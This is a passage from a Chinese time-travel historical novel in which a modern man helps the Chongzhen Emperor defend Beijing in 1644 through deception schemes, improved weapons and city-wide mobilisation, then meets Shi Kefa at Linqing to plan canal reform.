“正因为身系全局,才要亲去。”李炎坚持,“新式战法需要我现场指挥。况且,我要让将士们看到,他们的主帅与他们同生共死。” 众将动容。 散会后,李炎单独留下孙传庭:“孙将军,佯攻通州是假,接应一支队伍是真。” “什么队伍?” “从南京来的运粮队。”李炎压低声音,“史可法大人派的粮船,最迟明晚抵达通州上游。但通州已陷,粮船不敢靠岸。你的任务,是杀出一条血路,护粮进城。” 孙传庭肃然:“末将万死不辞!” “记住,粮食比人命重要。”李炎声音沉重,“就算这两千人全打光,也要把粮食送回来。有了粮,北京就能再守一个月;没有粮,三天都撑不下去。” “末将明白!” --- 申时,李炎回到军器局。 宋应星已经进入状态,正与徐天工讨论火炮改良。见李炎来,他提出一个关键问题:“李大人,老朽观新式火铳,虽射程精度俱佳,但装填太慢。为何不试试……后膛装填?” 李炎震惊。后膛枪是十九世纪才普及的技术,宋应星竟能想到这一层! “先生可有方案?” “只是设想。”宋应星在纸上勾画,“若在枪管后部开一活门,装填后关闭,或许能加快速度。但密闭是个难题,火药燃气会泄露……” 李炎想起历史上早期后膛枪的“漏气”问题,确实难解。但宋应星的思路已远超时代。 “先生可愿主持此项研究?” “自当尽力。” 李炎又提出另一个想法:“除了火器,我们还需要一种能快速机动的车辆,用来运输火炮和伤员。” “四轮马车如何?” “在城内尚可,野战不行,易陷。”李炎画出简图,“我需要两轮车,轻便,一匹马拉动,配简易减震。” 这就是近代的“炮车”概念。宋应星与徐天工讨论半晌,竟当场设计出草图——用钢板弹簧做减震,可拆卸轮轴,一车可运一门炮及二十发炮弹。 “三日,老朽给您十辆。”宋应星立下军令状。 李炎深深一揖:“先生真乃国士。” 离开军器局时,天色又暗下来。李炎算了算,来到这个时代已经五天。五天里,他几乎没合过眼,但改变的东西……还是太少。 “大人,王公公请您去乾清宫。”亲兵来报,“说是有紧急军情。” 李炎心中一紧,快步而去。 --- 乾清宫内,气氛凝重。 崇祯面前摊着一份塘报,手在颤抖。王承恩站在一旁,面如死灰。 “爱卿,你看。”崇祯将塘报递来。 李炎接过,只看了几行,便如坠冰窟—— “四月朔,清摄政王多尔衮率军八万,已破宁远,兵临山海关。关宁军主帅吴三桂……开关迎降。” 山海关,丢了。 大明最后一道屏障,没了。 “塘报何时到的?”李炎声音干涩。 “半个时辰前,八百里加急。”王承恩颤声,“送信的驿卒累死三人……” 李炎强迫自己冷静。历史上,吴三桂降清是在李自成破北京之后,现在提前了,为什么? 只有一个可能:他给吴三桂的那封信,起了反效果。或者……那封信根本就没送到。 “沈炼……”他想起那个战死的锦衣卫。 “爱卿,如今……该如何是好?”崇祯眼中第一次出现绝望,“前有闯贼,后有清兵,北京……已成孤城。” 不,还不是绝境。李炎大脑飞速运转。 吴三桂降清,满清入关,这对李自成同样是威胁。鹬蚌相争,渔翁未必得利,也可能两败俱伤。 “陛下,此事未必是祸。”他忽然说。 “何出此言?” “李自成与多尔衮,都想要北京,都想做中原之主。”李炎分析,“他们之间必有一战。而我们……可以让他们先打。” “坐山观虎斗?” “不,是火上浇油。”李炎眼中闪过冷光,“派人散布消息,说李自成已与朝廷秘密议和,准备联合抗清。再派人告诉多尔衮,说吴三桂是诈降,实则与闯军密谋,要诱清军入关围歼。” 双重反间,制造猜疑链。只要满清和闯军互相顾忌,就不敢全力攻北京。 崇祯沉默良久:“需要多久?” “三天。”李炎道,“只要再给我们三天时间,完成战备,就有机会在这两虎相争中……存活下来。” “若失败呢?” “那臣会履行承诺。”李炎单膝跪地,“护送太子南下,保全大明血脉。” 烛火跳跃,映着君臣二人的影子。殿外,风声渐紧,似有雷雨将至。 崇祯扶起李炎,从怀中取出一物——那是一方玉玺,但不是传国玉玺,而是一方私印,刻着“崇祯御笔”四字。 “这个你收着。”皇帝的声音很轻,“若朕有不测,你持此印,可号令南方诸镇。朕已写好密诏,藏于奉先殿太祖画像后。” 这是在托孤了。李炎接过玉玺,重如千钧。 “臣……定不辱命。” 走出乾清宫时,暴雨倾盆而下。 李炎站在廊下,望着雨幕中的紫禁城。这座见证了明朝兴衰的宫殿,此刻在雷声中显得如此脆弱,又如此坚韧。 他握紧手中玉玺,走进雨中。 时间,只剩下三天。 而这三天里,他要完成不可能的任务:加固城防,制造军械,整顿内务,挑动外敌,还要……为这个王朝,找到一线生机。 雷声隆隆,电光划破天际。 暴风雨,真的来了。 【第四章完】 5. 决战倒计时 第一天·黄昏 暴雨如注,紫禁城的琉璃瓦在雨幕中泛起青光。李炎站在文华殿檐下,手中的塘报已被雨水洇湿边角。“吴三桂开关迎降”六个字像烧红的烙铁,烫在眼底。 “八万八旗兵……”他低声重复这个数字。历史上,多尔衮入关时确是这个兵力,但那时李自成已占据北京,满清以“为明复仇”之名收拢人心。现在不同——北京未陷,大明法统犹在,多尔衮若强攻,就是公然侵略。 “大人。”亲兵队长陈平递上蓑衣,“各门守将已到齐。” 李炎披上蓑衣,雨水顺着帽檐淌成水帘。他大步走向武英殿——那里已被改成战时指挥所。 殿内,二十余名将领肃立。烛光在每个人脸上跳动,映出一张张紧绷的面孔。李炎没有废话,直接将塘报内容告知。 死一般的寂静。 “也就是说……”京营总兵李国桢喉结滚动,“我们要同时面对闯贼和清虏?” “是。”李炎走到巨大的沙盘前,“但也是机会。” 他拿起代表清军的黑色旗帜,插在山海关位置;又拿起代表闯军的红色旗帜,插在北京西南。两者相距四百里。 “李自成想要北京做都城,多尔衮也想。他们之间必有一战。”李炎用木杆划过沙盘,“而我们,要让他们在远离京城的地方打起来。” “如何做到?” “三步。”李炎竖起三根手指,“第一步,让李自成相信清军会先攻他;第二步,让多尔衮相信李自成会与朝廷联手;第三步……在他们两败俱伤时,我们坐收渔利。” 孙传庭皱眉:“太险。万一他们识破……” “所以需要真实的筹码。”李炎从怀中取出崇祯私印,“皇上已授我全权。从现在起,北京进入最高战备状态——不是守城,是备战反攻。” 众将愕然。 “反攻?我们兵力不到五万,且大半是新兵!” “正因为兵力不足,才要出奇制胜。”李炎指向沙盘上的通州,“李自成主力在此,约十五万。多尔衮八万骑兵,机动性强。我们要做的,是把这两股敌人引到一处。” 他详细部署: 一、今夜子时,派死士伪装成明军信使,携带“朝廷与闯王密约”的假文书,“误入”清军前锋营地。文书内容为:大明愿割让山海关以北,换李自成联合抗清,事成后平分天下。 二、同时,派另一队人伪装成清军细作,在闯军营中“被擒”,身上携带“多尔衮给吴三桂密令”:诈降明廷,诱李自成主力东进,与清军合围歼灭。 三、在北京城外三十里范围内,广布疑兵——扎草人,夜间举火,白日扬尘,制造大军云集的假象。 “此计若成,李自成必疑吴三桂,多尔衮必疑李自成。”李炎环视众人,“他们相互猜忌,就不敢全力攻我。而我们,就有时间完成最后准备。” “什么准备?” 李炎从桌下取出一个木箱,打开。里面是十几支新式火铳,但造型奇特——枪管粗短,枪口呈喇叭状。 “这是……”宋应星眼睛一亮。 “□□。”李炎拿起一支,“专为巷战和近距离防御设计。一发可射出三十颗铁珠,五十步内无人能挡。” 徐天工补充:“按李大人的图纸,我们改良了击发机构,装填速度比燧发枪快一倍。已产二百支,今夜可再产三百。” 李国桢接过一支,掂了掂:“好家伙,这要是在巷子里来一下……” “正是为巷战准备。”李炎沉声道,“万一城破,我们要在街巷间节节抵抗,每一座房屋都是堡垒,每一条街道都是坟场。” 他走到窗前,雨势稍歇,暮色四合。 “诸位,我知道你们怕。我也怕。”他转身,目光如炬,“但怕没有用。要么坐以待毙,要么拼死一搏。我选择后者——哪怕只有万分之一的希望。” 沉默。然后,孙传庭第一个单膝跪地:“末将愿随大人死战!” “末将愿往!” “末将……” 李炎扶起众人:“好!那就让我们,为大明搏这最后一线生机!” --- 第一天·子夜 阜成门悄然开启。两队黑衣死士鱼贯而出,每队十二人,分赴东西两个方向。 东队由锦衣卫残余高手率领,目标是清军前锋营地——根据最新情报,多尔衮派出的先锋已抵三河县,距京不过百里。 领队的是个独臂汉子,名叫赵铁骨。他原是辽东边军夜不收,天启年间与清军作战失去左臂,退役后在京营任教头。得知要去清营行诈,他主动请缨。 “弟兄们。”出城五里后,赵铁骨停下,“此去九死一生。有后悔的,现在可以回头。” 无人后退。 “好!”他咧嘴一笑,“那就让鞑子看看,大明儿郎的骨气!” 西队则由一名叫马三的老兵带领,目标是闯军大营。这队人更危险——李自成吃过亏,戒备森严。 两队人消失在夜色中。城头,李炎凭栏远望,手中望远镜的电池只剩9%。 “大人,他们能成功吗?”陈平低声问。 “不知道。”李炎实话实说,“但有些事,总要有人去做。” 就像历史上那些无名者——守扬州的史可法,守江阴的阎应元,还有千千万万没有留下名字的抗清义士。他们明知不可为而为之,只为心中一点不灭的火种。 李炎现在做的,就是让这火种不要熄灭。 --- 第二天·黎明 赵铁骨回来了,带回来八个人,个个带伤。 “大人……成了。”他左肩中了一箭,说话时牙关紧咬,“文书‘不小心’落在清军营中,我们还杀了三个鞑子哨兵,故意留了活口逃跑。” 李炎亲自为他包扎:“辛苦。清军反应如何?” “乱了一阵,然后有骑兵出营,往山海关方向去了。”赵铁骨喘着气,“看架势,是去报信的。” 很好。只要多尔衮收到消息,以他多疑的性格,必会核实。而核实需要时间——这就是李炎要的缓冲期。 “西队呢?” 陈平摇头:“还没有消息。” 等待是最煎熬的。李炎处理完军务,又去军器局巡视。宋应星一夜未眠,正在测试新武器——那是一门装在独轮车上的小炮,炮口仰角可调。 “这是……” “曲射炮。”宋应星眼中血丝密布,但精神亢奋,“按大人说的抛物线原理,老朽调整了药室和炮管角度。试过了,可将五斤重的炸药包抛射三百步。” 李炎震惊。这已经接近迫击炮的概念了! “精度如何?” “十发七中靶区。”徐天工递上记录,“就是装填还慢,要二十息。” “足够了!”李炎拍案,“立刻量产!有多少造多少!” 有了曲射炮,守城战术可以完全改变——不必等敌人到城下,在三百步外就可以用炸药包覆盖。对付密集冲锋的步兵,这是大杀器。 辰时,西队终于有消息了。 回来三个人,马三不在其中。幸存的士兵浑身是血,断断续续汇报:他们成功混入闯营,故意在粮草堆附近“暴露”,被擒后经受严刑,有一人熬不住“招供”了假情报。 “马头儿……马头儿为了取信,让闯贼砍了他一只手。”士兵泣不成声,“他说,一只手换京城多守几天,值了。” 李炎闭上眼睛。这些普通士兵,这些在史书上不会有名字的人,正在用血肉之躯支撑这个即将倾覆的王朝。 “厚恤家眷。”他声音沙哑,“所有牺牲者,抚恤加倍。” --- 第二天·午时 乾清宫,朝会。 气氛比昨日更压抑。吴三桂降清的消息已经传开,百官面如土色。内阁首辅魏藻德再次提出迁都,这次附议者超过半数。 “皇上!北京已成死地,当效仿宋高宗南渡,保全社稷啊!”魏藻德老泪纵横。 “是啊皇上,留得青山在……” “住口!”崇祯猛地拍案,眼中血丝密布,“迁都?往哪儿迁?南京?李自成的骑兵追不上,还是清军的铁骑追不上?” 他起身,走下御阶:“当年土木堡之变,于谦公守北京,手中兵不过十万,将不过数员,却能击退瓦剌二十万大军。为何?因为人心未散,气节未堕!” 他环视众臣:“而今,闯贼虽众,不过是乌合之流;清虏虽强,毕竟是异族入侵。我大明立国二百七十六年,深仁厚泽,民心犹在!只要君臣一心,军民同力,何以不能复现北京保卫战之壮举?” 慷慨激昂,但应者寥寥。大多数官员想的是自家财产、族人安危。李炎冷眼旁观,心中明白——靠这些人,守不住北京。 必须用非常手段。 “李爱卿。”崇祯看向他,“你是兵部侍郎,总领防务。你告诉诸位卿家,北京守得住吗?” 李炎出列,朗声道:“守不守得住,不在兵力多寡,在有无死战之心。臣有三问,请诸位大人回答。” 他转向百官:“第一问:若城破,诸位家产可能保全?” 无人应答。谁都知道闯军破城必劫掠。 “第二问:若清虏入主,诸位官位可能保留?” 仍无人应答。满清重用汉臣不假,但那是后期,初期投降者多遭屠戮。 “第三问:若大明亡国,诸位子孙可还能科举入仕,光宗耀祖?” 三问如三记重锤。一些官员开始动摇。 “所以,”李炎提高声音,“守城不是为了皇上,是为了诸位的身家性命,是为了子孙的前程未来!今日我们若弃城而逃,他日史书工笔,诸位就是误国奸臣,遗臭万年!” “那你有什么办法?”魏藻德反问。 “有。”李炎一字一句,“请诸位捐出家产,充作军饷;请诸位派出家丁护院,编入守城队伍;请诸位亲自上城,鼓舞士气。” “荒唐!”一个御史跳起来,“我等朝廷命官,岂能如武夫般……” “那就等死。”李炎冷冷打断,“或者投降,看看李自成会不会饶过你们这些‘朝廷命官’。” 争吵再起。李炎不再理会,向崇祯拱手:“陛下,臣请旨:即日起,凡五品以上官员,每日需上城值守两个时辰;凡家产超过万两者,需捐出三成充作军费;凡抗命不遵者……以通敌论处。” “准!”崇祯毫不犹豫。 圣旨一下,百官哗然。但这次,崇祯展现了罕见的强硬——当场将两个叫嚣最凶的官员革职下狱。 杀鸡儆猴,效果立现。 --- 第二天·黄昏 李炎在德胜门城头见到了捐输的第一批成果。 白银三十万两,粮食五千石,布匹、药材、铁器若干。更有百余官员家丁被编入新军——这些家丁大多受过训练,装备精良,战斗力甚至超过部分京营士兵。 “还不够。”李炎对王承恩说,“我要的是全城动员。” 他下令张贴告示:凡捐银十两者,赐“忠义”匾额;捐银百两者,授九品虚衔;捐粮百石者,免三年赋税。同时宣布,城内存粮实行配给制,官员与百姓同例,每日两餐,不得私藏。 告示一出,民间响应热烈。北京城毕竟是帝都,富户众多,且大多数人不愿做亡国奴。至傍晚,又收到捐银二十万两,粮食八千石。 最让李炎意外的是百姓的参军热情。短短半日,报名青壮超过五千人,其中不乏书生、商贾。 “他们都是自愿的?”李炎问负责征兵的孙传庭。 “大多是。”孙传庭感慨,“有个老秀才,六十多了,非要报名。说‘读了一辈子圣贤书,临死总要为国尽一次忠’。” 民心可用。李炎心中稍安。 巡视到安定门时,他见到了宋应星的新发明——那是一种安装在城墙上的活动挡板,平时收起,战时放下,可防箭矢和飞石。 “材料不够,只能做五十面。”宋应星遗憾道。 “无妨,关键城门装上就行。”李炎仔细查看设计——挡板用厚木板外包铁皮,内侧有观察孔和射击孔,设计相当精巧。 “先生真是奇才。” “奇才谈不上,只是平日里多琢磨些工匠活计。”宋应星捋须,“老朽还有一计,或许可御敌。” 他从怀中取出一张草图。李炎看去,竟是简易的“铁丝网”——用铁蒺藜串联成网,布置在城墙脚下。 “此物可阻敌攀城,也可迟滞云梯靠近。”宋应星解释,“且制作简单,全城铁匠一日可产千丈。” 李炎大喜。铁丝网在近代战争中是重要防御工事,没想到宋应星能独立想到。 “立刻制作!在护城河内侧布设三道!” 正说着,曹化淳匆匆而来,面色凝重:“李侍郎,有发现。” 两人走到僻静处。曹化淳低声道:“老奴监视嘉定伯府,今日果然有异常——午后,伯府后门出一顶小轿,往朝阳门方向去了。” “跟上了吗?” “跟到东岳庙,轿中人换了衣裳,从密道出城了。”曹化淳从袖中取出一块玉佩,“这是从密道口捡到的。” 玉佩质地温润,刻有蟠龙纹——这是皇室之物。 李炎心一沉:“是宫里的?” “老奴查验过,是……坤宁宫的。” 坤宁宫,周皇后居所。而周皇后,正是嘉定伯周奎之女。 “还有。”曹化淳声音更低,“老奴查到,司设监少监王安,与坤宁宫总管太监杜勋是结拜兄弟。而杜勋……三日前曾私下出宫。” 一环扣一环。如果连皇后宫中都有问题,那紫禁城的安全…… “此事还有谁知?” “仅老奴与两个心腹。”曹化淳道,“李侍郎,兹事体大,是否禀报皇上?” 李炎沉思良久:“暂时不要。皇上已经压力过大,不能再受此刺激。你继续暗中调查,我要确凿证据。” “若查实……” “该杀就杀。”李炎眼中寒光一闪,“非常时期,顾不得那么多了。” 曹化淳深深看了他一眼:“老奴明白了。” --- 第二天·深夜 子时,李炎仍在武英殿处理公文。案头堆积如山的文书——军械清单、兵力部署、粮草统计、伤亡报告…… 左臂伤口隐隐作痛,他换药时发现已有化脓迹象。军医说要静养,但哪有时间静养? “大人,您该休息了。”春梅不知何时进来,端着一碗药汤。 “放那儿吧。”李炎头也不抬。 春梅没走,轻声道:“大人,奴婢听说……山海关丢了。” 李炎笔一顿。 “奴婢不懂军国大事,但知道,关丢了可以再夺回来,人死了就什么都没了。”春梅声音很轻,“大人您要是累垮了,北京城……就真没指望了。” 李炎抬头,看着这个年轻的宫女。烛光下,她眼中有关切,有担忧,还有一种近乎信仰的坚定。 “你相信我们能守住吗?” “信。”春梅毫不犹豫,“因为大人在。” 简单一句话,却让李炎心头一热。是啊,他不能倒,至少现在不能。 他端起药碗一饮而尽,苦得皱眉。 “还有件事……”春梅迟疑,“奴婢今日去坤宁宫送东西,听见……听见皇后娘娘在哭,说对不起皇上,对不起大明。” 李炎手一紧:“还听见什么?” “没听清,杜公公就出来了,把奴婢赶走了。”春梅低头,“但奴婢看见,杜公公手里拿着……一封信,信封上有闯军的印记。” 果然!周皇后可能被父亲胁迫,或者……她自己也动摇了? “此事不要告诉任何人。”李炎严肃道,“记住,任何人。” “奴婢明白。” 春梅退下后,李炎再无睡意。他走到殿外,夜空中无星无月,黑得像浓墨。远处城墙上,灯火如龙——那是守夜士兵的火把。 这座城市,这个王朝,还有这些信任他的人们……他必须守住。 哪怕要用非常手段。 --- 第三天·黎明 第三天了。距离李自成可能的全力攻城,还剩最后十二个时辰。 李炎彻夜未眠,完成了最后的防御部署: 一、在四大城门内侧修筑第二道防线——用沙袋、砖石垒成街垒,配置□□和曲射炮。万一外城破,就在这里进行巷战。 二、组建“飞火营”——三百名精选射手,配备改良火箭。这种火箭箭头绑有炸药,落地即爆,专攻敌军密集处。 三、实施“焦土策略”:将城外十里内的水井下毒(非致死毒,而是泻药),焚毁所有可能被敌军利用的建筑材料。 四、最残酷的一招:在护城河内埋设“跳雷”——踏板触发,弹跳到齐腰高爆炸,专伤步兵腰腹。 “此计太过阴毒。”连孙传庭都忍不住说。 “战争本就是最阴毒的事。”李炎面无表情,“对敌人仁慈,就是对自己人残忍。” 他知道这些手段会留下骂名,但顾不得了。历史由胜利者书写,若北京守不住,一切都没有意义。 辰时,军器局送来好消息:曲射炮已产五十门,□□八百支,铁丝网三千丈,各类火药五万斤。 “好!”李炎精神一振,“立刻分发各门!” 他亲自到德胜门测试新武器。曲射炮的轰鸣声中,三百步外的靶区被炸药包覆盖,尘土飞扬。 守军士气大振。 巳时,坏消息来了。 派往清军和闯军之间的斥候回报:两军已有接触。不是大战,是小规模冲突——清军游骑与闯军斥候在蓟县附近遭遇,双方各有伤亡。 “打起来了?”李国桢兴奋。 “不。”李炎摇头,“试探而已。多尔衮和李自成都是人杰,不会轻易中计。” 果然,午时后续情报显示:冲突后,两军各自后撤十里,呈对峙态势。 “他们在观望。”李炎分析,“观望北京,也观望对方。” 时间,仍然不够。 --- 第三天·午后 李炎决定冒险出城。 他带着一百精骑,从曹化淳提供的密道出阜成门,亲自侦察敌情。这是极度危险的举动,但有些事必须亲眼确认。 城外景象触目惊心。原本的村庄已成废墟,田地里到处是倒伏的 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“不,是戒备。”李炎观察着,“李自成在示威,告诉多尔衮他不怕。” 果然,闯军集结后并未出击,只是在营前列阵。清骑在远处逡巡片刻,也退走了。 这场对峙,暂时无果。 但李炎看到了机会——双方互不信任,这正是他想要的。 “回城。”他下令,“我们有文章可做了。” --- 第三天·黄昏 回城后,李炎立即召集幕僚。 “清军和闯军已经接触,彼此猜忌。”他铺开地图,“我们要把这猜忌变成冲突。” “如何做?” “伪造军令。”李炎说出计划,“模仿李自成笔迹,写一道军令给前线将领:假意与清军谈判,诱其深入,然后围歼。再模仿多尔衮笔迹,写一道命令给吴三桂:配合闯军行动,实则反戈一击。” 宋应星提出疑问:“笔迹可以模仿,但印信呢?” “印信好办。”曹化淳阴声道,“老奴认得几个擅刻印的手艺人,只要看过样式,一夜可成。” 李炎点头:“那就去做。我要明天天亮前,看到这两道‘军令’分别送到双方军中。” “太险了。”孙传庭担忧,“万一被识破……” “所以需要配合。”李炎眼中闪过冷光,“同时,我们要真的打一仗——不是大军对决,是骚扰战。让清军以为闯军动手了,让闯军以为清军进攻了。” 他部署今夜行动: 一、派五百骑兵,换上清军衣甲(从缴获物资中拼凑),夜袭闯军一处偏营。只骚扰,不硬拼,放火即走。 二、派另一队五百人,穿上闯军服装,袭击清军粮道。同样只骚扰,制造混乱。 三、在双方可能遭遇的区域,布置假营地——扎草人,夜间点火,白日撤走,营造大军调动的假象。 “此计若成,他们必生冲突。”李炎环视众人,“而我们要做的,就是坐山观虎斗。” 众将领命而去。殿内只剩下李炎和王承恩。 “李侍郎,老奴有句话,不知当讲不当讲。”王承恩犹豫。 “公公请说。” “您这些计策,都建立在敌人互相猜忌的基础上。”王承恩低声道,“可万一……他们识破了,或者干脆联手先攻北京呢?” 李炎沉默良久。 “那就死战。”他轻声道,“至少我们试过了,拼过了。后世史书会记得,崇祯十七年的北京,有人曾为这个王朝战斗到最后一刻。” 王承恩深深一揖:“老奴……明白了。” --- 第三天·深夜 子时,行动开始。 两支伪装部队悄然出城。李炎站在德胜门城头,目送他们消失在夜色中。 今夜无月,星晦暗。城墙上火把噼啪作响,守军士兵在寒风中挺立。李炎走过一个个垛口,与士兵交谈,检查装备。 “冷吗?”他问一个年轻士兵。 “不、不冷!”士兵挺直腰板,但声音在颤抖。 李炎解下自己的披风,披在士兵身上:“拿着。守夜最耗体力,不能着凉。” “大人,这使不得……” “这是军令。”李炎拍拍他的肩,“好好守着,你的家人都在城里。” 士兵眼圈红了,重重点头。 巡视到安定门时,李炎见到了意想不到的人——崇祯皇帝。 皇帝穿着普通军官的盔甲,正在与士兵分食烤红薯。见李炎来,他递过半个:“爱卿也尝尝,御膳房做的,加了蜂蜜。” 李炎接过,热腾腾的红薯在手心发烫。 “陛下怎么……” “朕睡不着。”崇祯咬了一口红薯,毫无帝王仪态,“想起于谦公当年守城,也是这般与士卒同甘共苦。朕虽不及于公万一,但至少……能让将士们知道,他们的皇帝与他们在一起。” 周围士兵闻言,无不感动。 李炎心中复杂。历史上的崇祯若能早有这样的觉悟,何至于此?但转念一想,也许正是绝境,才逼出了这位皇帝最后的气节。 “陛下,明日可能会有一场恶战。”他低声说。 “朕知道。”崇祯望着城外黑暗,“爱卿,朕问你一句实话——我们有多少胜算?” 李炎沉默片刻:“三成。” “三成……”崇祯笑了,笑容有些凄凉,“够了。当年太祖起兵时,连一成胜算都没有。成祖靖难,也是九死一生。我朱家天下,本就是打出来的。” 他转身,面向所有士兵,朗声道:“将士们!明日一战,关乎社稷存亡!朕在此立誓:若胜,所有参战者官升三级,赏银百两!若败……朕与你们,同殉此城!” “万岁!万岁!万岁!” 山呼声震彻夜空。 李炎看着这一幕,忽然想起后世评价崇祯的那句话——他不是昏君,只是生错了时代。 也许,现在这个时代,可以不同。 --- 丑时,城外传来爆炸声。 李炎用望远镜看去,东南方向火光冲天——那是闯军偏营的位置。紧接着,东北方向也升起火光,隐约传来喊杀声。 计划开始了。 半个时辰后,第一支骚扰部队返回。带队的是个年轻千户,脸上带伤,但神色兴奋:“大人!成了!我们烧了闯军三座帐篷,还抢了十匹马!他们以为是清军干的,追出来时我们已撤了!” “伤亡如何?” “阵亡七人,伤二十三人。”千户声音低沉了些,“但值了!我亲眼看到,闯军营里大乱,有部队往清军方向去了!” 李炎心中一紧。冲突要开始了。 果然,寅时传来消息:闯军一支五千人的部队与清军前锋在蓟县以东遭遇,爆发激战。具体战况不明,但双方都动了真火——清军出动了骑兵,闯军动用了火炮。 “打起来了!”武英殿内,众将兴奋。 李炎却冷静:“还不够。要让他们打出真火,打出仇恨。” 他下令:“天亮后,派使者分别去见多尔衮和李自成。给多尔衮的说:闯王愿割让山西,换清军助其攻北京。给李自成的说:多尔衮愿助其灭明,但要黄河以北全部领土。” “他们会信吗?” “半信半疑。”李炎道,“但怀疑的种子一旦种下,就会生根发芽。” --- 第三天·黎明前 最黑暗的时刻。 李炎终于感到疲惫如潮水般涌来。他靠在椅背上,想小憩片刻,却怎么也睡不着。脑子里全是各种可能——计划成功的可能,失败的可能,还有那些无法预料的变数。 “大人。”春梅不知何时进来,端着一盆热水,“您擦把脸吧。” 温热的毛巾敷在脸上,李炎长出口气。 “春梅,若城破了,你怎么办?” 宫女的手一顿,轻声道:“奴婢跟着大人。” “若我战死了呢?” “那奴婢就……殉城。”春梅声音很轻,但坚定,“奴婢的爹娘早不在了,弟弟生死未卜。这世上,奴婢唯一欠恩情的,就是大人。” 李炎心中一痛。这个时代,人命如草芥,但每一棵草都有它的坚韧。 “我不会让你死的。”他轻声道,“若真到了那一步,我会安排你出城。” “大人呢?” “我?”李炎笑了,“我是主帅,自然与城共存亡。” 窗外,东方天际泛起第一缕白光。 第三天结束了。 而真正的考验,即将开始。 李炎起身,走到殿外。晨风凛冽,带着硝烟和血腥的气息。北京城在晨曦中渐渐清晰,这座古老的城市,这座大明的心脏,正在迎接它命运中最关键的一天。 他握紧剑柄,望向远方。 那里,两股洪流即将碰撞。 而他,将在这夹缝中,为这个文明搏一个未来。 哪怕血染山河,哪怕身死名灭。 “传令全军——”他的声音在晨风中传开,“准备战斗!” 【第五章完】 6. 临清会 巳时·临清闸 临清闸,运河“咽喉”。 李炎船队抵达时,正值过闸高峰。数百艘漕船、商船、客船堵在闸口,绵延数里。闸吏的吆喝声、船工的号子声、商贾的争吵声,混着河水拍岸的哗啦声,喧嚣如沸。 “比河西务大十倍不止。”宋应星站在船头感慨。他是江西人,走运河下过江南,但每次见临清,仍觉震撼。 临清闸不是一道闸,是三道闸组成的复闸系统,每道闸宽五丈,深三丈,可容最大漕船通行。闸两侧有石砌码头,货栈林立,旗幡招展。更远处,城墙蜿蜒,城楼巍峨——临清是山东重镇,人口逾十万,商税占山东三成。 “史大人在哪里等我们?”李炎问。 孙传庭指向闸东:“那边有座望河楼,史大人包了顶层。” 船队靠岸。李炎留下宋应星处理船务,带着孙传庭和四个亲兵,步行前往望河楼。春梅换了女装,抱着藤箱跟在身后。 穿过码头,人潮汹涌。挑夫扛着麻袋,喊着号子;小贩推着车,叫卖炊饼、茶水、针线;乞丐蹲在墙角,伸出破碗。空气里混杂着汗味、河水腥气、香料味、马粪味。 “这才是运河该有的样子。”李炎低声说。河西务太荒凉,临清才显繁华。但繁华之下呢? 望河楼是临清最高的酒楼,五层木楼,飞檐斗拱。掌柜见李炎气度不凡,忙引上顶层。 顶层雅间,临窗坐着一位中年文士。他四十出头,面容清癯,穿着半旧青袍,正低头看书。听见脚步声,抬头起身,拱手行礼:“可是李太保?下官史可法,恭候多时。” “史尚书。”李炎还礼,“久仰。” 两人对视。史可法的眼睛很亮,有读书人的清澈,也有官员的锐利。李炎看到他袖口有补丁,靴子磨得发白——这位南京兵部尚书,果然如史载,清贫自守。 “坐。”史可法亲自斟茶,“李太保一路辛苦。听闻在河西务雷霆手段,整顿漕弊,下官敬佩。” “史尚书过誉。”李炎接过茶,“都是为朝廷办事。不知尚书对漕运改革,有何高见?” 史可法从袖中取出一卷文书:“这是下官拟的《漕运十策》,请太保过目。” 李炎展开。文书蝇头小楷,条理清晰: 一、裁撤漕帮,设漕运总督衙门,直属户部。 二、废除闸费、过路费等苛捐杂税,统一征收漕银。 三、推广新式漕船,提高运力。 四、设河工学堂,培养专业人才。 五、清丈运河淤塞段落,疏浚河道。 六、在临清、淮安、扬州设三大漕仓,减少损耗。 七、漕工改募为兵,编入漕军,保障待遇。 八、严查走私,凡私运漕粮、军火者斩。 九、运河沿线设驿站、医馆,便利行旅。 十、漕运盈余,用于赈灾、兴学。 十策,每策都有详细实施办法、预算估算、可能阻力。显然不是临时起意,是深思熟虑。 “好!”李炎由衷赞叹,“史尚书大才!这十策若施行,漕运可焕然一新。” 史可法却无喜色:“好是好,但难。难在三点:其一,漕帮势力盘根错节,潘永年虽擒,但各地分舵仍在;其二,运河沿线官员、士绅,多有利益牵扯,阻力重重;其三……”他顿了顿,“钱从哪里来?” 李炎明白。改革需要钱,但朝廷没钱。崇祯的内帑早已掏空,国库年年赤字。 “钱的事,我来想办法。”李炎沉声道,“但需要史尚书助我——整顿漕运,不能只靠刀兵,还要靠人。南方官员,我不熟,需要尚书引荐、斡旋。” 史可法点头:“这是自然。下官已联络几位志同道合的同僚,他们愿助太保一臂之力。不过……”他犹豫片刻,“有句话,下官不知当讲不当讲。” “请直言。” “太保可知,南方士绅,对朝廷……颇有微词?” 李炎心中一动:“是因为‘辽饷’‘剿饷’加派?” “不止。”史可法压低声音,“南方这些年还算安定,未遭兵祸。但朝廷年年加派,地方官趁机盘剥,民怨已深。有些士绅私下议论:与其把钱粮送给朝廷打水漂,不如留在本地,保境安民。” 这是地方离心倾向的前兆。历史上,南明之所以内斗不休,就是因为江南士绅各怀心思,不愿全力支持朝廷。 “他们想拥兵自重?” “还没到那一步。”史可法摇头,“但防患未然。李太保,整顿漕运不仅是经济改革,更是政治表态——朝廷必须让南方看到,钱粮用在实处,能换来太平。否则……” 否则,大明可能等不到清军南下,自己就分裂了。 李炎沉默良久,忽然问:“史尚书,若有一天,北京不守,朝廷南迁,你会怎么做?” 史可法浑身一震,盯着李炎,眼中闪过惊疑、挣扎,最终化为坚定:“下官……誓死保卫大明江山。无论朝廷在哪里,下官都是大明的臣子。” 这话答得巧妙,没说“拥戴南迁”,但表明了立场。 李炎笑了:“有尚书这句话,我就放心了。来,我们详细说说,这十策如何施行。” 两人从巳时谈到午时,又从午时谈到申时。茶水换了三壶,笔记写了厚厚一叠。孙传庭在门外警戒,春梅在一旁记录要点。 当夕阳西斜时,方案初步成型: 一、以临清为试点,推行新漕制。李炎坐镇,史可法协调南方。 二、三日内,发布《漕运改革告示》,废除苛捐杂税,公布新工钱标准。 三、七日内,组建漕运总督衙门,从南京、北京调派干员。 四、一月内,完成临清段漕船清查,凡符合新规者,颁发“漕运许可”;凡违规者,一律扣押。 五、同时,筹建河工学堂,首批招收学徒百人,由宋应星授课。 “最难的是清查。”史可法指出,“临清在册漕船八百艘,实际可能逾千。其中多少是黑船?多少走私?多少属于漕帮?清查起来,必遭反弹。” 